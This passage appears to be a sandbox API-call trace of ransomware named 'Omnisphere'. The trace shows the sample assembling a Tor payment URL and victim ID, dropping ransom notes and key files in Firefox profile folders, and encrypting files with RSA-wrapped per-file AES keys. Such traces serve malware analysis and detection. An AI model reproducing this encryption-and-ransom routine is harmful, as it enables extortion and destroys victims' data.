[0162.090] GetProcessHeap () returned 0x1600000 [0162.090] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734328 [0162.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734328, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.090] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.090] GetProcessHeap () returned 0x1600000 [0162.090] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17265d8 [0162.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17265d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.090] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.090] GetProcessHeap () returned 0x1600000 [0162.090] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfa) returned 0x174d7d0 [0162.091] PathCombineW (in: pszDest=0x174d7d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\!DECRYPT_OMNISPHERE.txt" [0162.091] GetProcessHeap () returned 0x1600000 [0162.091] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1742788 [0162.091] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.091] WriteFile (in: hFile=0x388, lpBuffer=0x1742788*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c900, lpOverlapped=0x0 | out: lpBuffer=0x1742788*, lpNumberOfBytesWritten=0x3e0c900*=0x588, lpOverlapped=0x0) returned 1 [0162.093] CloseHandle (hObject=0x388) returned 1 [0162.093] GetProcessHeap () returned 0x1600000 [0162.093] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174db00 | out: hHeap=0x1600000) returned 1 [0162.093] GetProcessHeap () returned 0x1600000 [0162.093] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf0) returned 0x174d8d8 [0162.093] PathCombineW (in: pszDest=0x174d8d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\unique_decrypt.key" [0162.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.094] WriteFile (in: hFile=0x388, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c914, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c914*=0x5a0, lpOverlapped=0x0) returned 1 [0162.095] CloseHandle (hObject=0x388) returned 1 [0162.095] GetProcessHeap () returned 0x1600000 [0162.095] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174d8d8 | out: hHeap=0x1600000) returned 1 [0162.095] GetProcessHeap () returned 0x1600000 [0162.095] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174bb50 | out: hHeap=0x1600000) returned 1 [0162.096] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40e6e0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc7554a80, ftLastAccessTime.dwHighDateTime=0x1d1e848, ftLastWriteTime.dwLowDateTime=0xc7554a80, ftLastWriteTime.dwHighDateTime=0x1d1e848, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0xab, cFileName="gmpopenh264.info", cAlternateFileName="GMPOPE~1.INF")) returned 0 [0162.096] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0162.096] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\1.6\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41b553c1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41b553c1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0162.096] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41b553c1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41b553c1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0162.096] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b553c1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41b553c1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41b553c1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.096] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c7227, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xcdbd0100, ftLastAccessTime.dwHighDateTime=0x1d1e9c5, ftLastWriteTime.dwLowDateTime=0xcdbd0100, ftLastWriteTime.dwHighDateTime=0x1d1e9c5, nFileSizeHigh=0x0, nFileSizeLow=0xd81c8, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="gmpopenh264.dll", cAlternateFileName="GMPOPE~1.DLL")) returned 1 [0162.096] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40e6e0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc7554a80, ftLastAccessTime.dwHighDateTime=0x1d1e848, ftLastWriteTime.dwLowDateTime=0x41b553c1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x598, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="gmpopenh264.info.omnisphere", cAlternateFileName="GMPOPE~1.OMN")) returned 1 [0162.096] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b2f056, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41b2f056, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41b2f056, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="gmpopenh264.info.omnisphere.id", cAlternateFileName="GMPOPE~1.ID")) returned 1 [0162.096] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b553c1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41b553c1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41b7b5be, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.096] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b553c1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41b553c1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41b7b5be, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x16415e8, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.096] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0162.096] GetProcessHeap () returned 0x1600000 [0162.096] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0162.096] GetProcessHeap () returned 0x1600000 [0162.096] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625bd8 | out: hHeap=0x1600000) returned 1 [0162.097] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c5e7c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c5e7c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40e6e0c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="1.6", cAlternateFileName="")) returned 0 [0162.097] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.097] GetProcessHeap () returned 0x1600000 [0162.097] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c048 | out: hHeap=0x1600000) returned 1 [0162.097] GetProcessHeap () returned 0x1600000 [0162.097] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c2b8 | out: hHeap=0x1600000) returned 1 [0162.097] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5af7cc2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmp-widevinecdm", cAlternateFileName="GMP-WI~1")) returned 1 [0162.097] GetProcessHeap () returned 0x1600000 [0162.097] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162c458 [0162.097] PathCombineW (in: pszDest=0x162c458, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="gmp-widevinecdm" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm" [0162.097] GetProcessHeap () returned 0x1600000 [0162.097] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c6c8 [0162.097] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\*" [0162.097] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5af7cc2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.098] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5af7cc2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0162.098] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5b71e56, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="1.4.8.903", cAlternateFileName="148~1.903")) returned 1 [0162.098] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5b71e56, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="1.4.8.903", cAlternateFileName="148~1.903")) returned 0 [0162.098] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.098] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5af7cc2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.098] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5af7cc2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0162.098] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5b71e56, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="1.4.8.903", cAlternateFileName="148~1.903")) returned 1 [0162.099] GetProcessHeap () returned 0x1600000 [0162.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd6) returned 0x172c468 [0162.099] PathCombineW (in: pszDest=0x172c468, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm", pszFile="1.4.8.903" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903" [0162.099] GetProcessHeap () returned 0x1600000 [0162.099] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x172aec0 [0162.099] PathCombineW (in: pszDest=0x172aec0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\*" [0162.099] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5b71e56, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xab, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.100] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5b71e56, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xab, cFileName="..", cAlternateFileName="")) returned 1 [0162.100] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afa3b9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0xab, cFileName="LICENSE.txt", cAlternateFileName="")) returned 1 [0162.100] GetProcessHeap () returned 0x1600000 [0162.100] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x174d8d8 [0162.100] PathCombineW (in: pszDest=0x174d8d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903", pszFile="LICENSE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" [0162.100] StrStrW (lpFirst=".omnisphere", lpSrch=".txt") returned 0x0 [0162.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\license.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.101] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e0c8d8 | out: lpFileSize=0x3e0c8d8*=479) returned 1 [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.101] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] GetTickCount () returned 0x116842b [0162.102] CryptAcquireContextW (in: phProv=0x3e0c360, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c360*=0x1668708) returned 1 [0162.103] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0c2c8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c36c | out: phKey=0x3e0c36c*=0x16395e8) returned 1 [0162.103] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x80) returned 1 [0162.103] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.103] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0162.103] CreateFileMappingW (hFile=0x388, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1df, lpName=0x0) returned 0x3b4 [0162.103] MapViewOfFile (hFileMappingObject=0x3b4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1df) returned 0x1480000 [0162.103] CryptAcquireContextW (in: phProv=0x3e0c350, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c350*=0x1668f00) returned 1 [0162.104] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0c308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c360 | out: phKey=0x3e0c360*=0x1639768) returned 1 [0162.104] CryptSetKeyParam (hKey=0x1639768, dwParam=0x4, pbData=0x3e0c344*=0x2, dwFlags=0x0) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.104] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0162.104] CryptEncrypt (in: 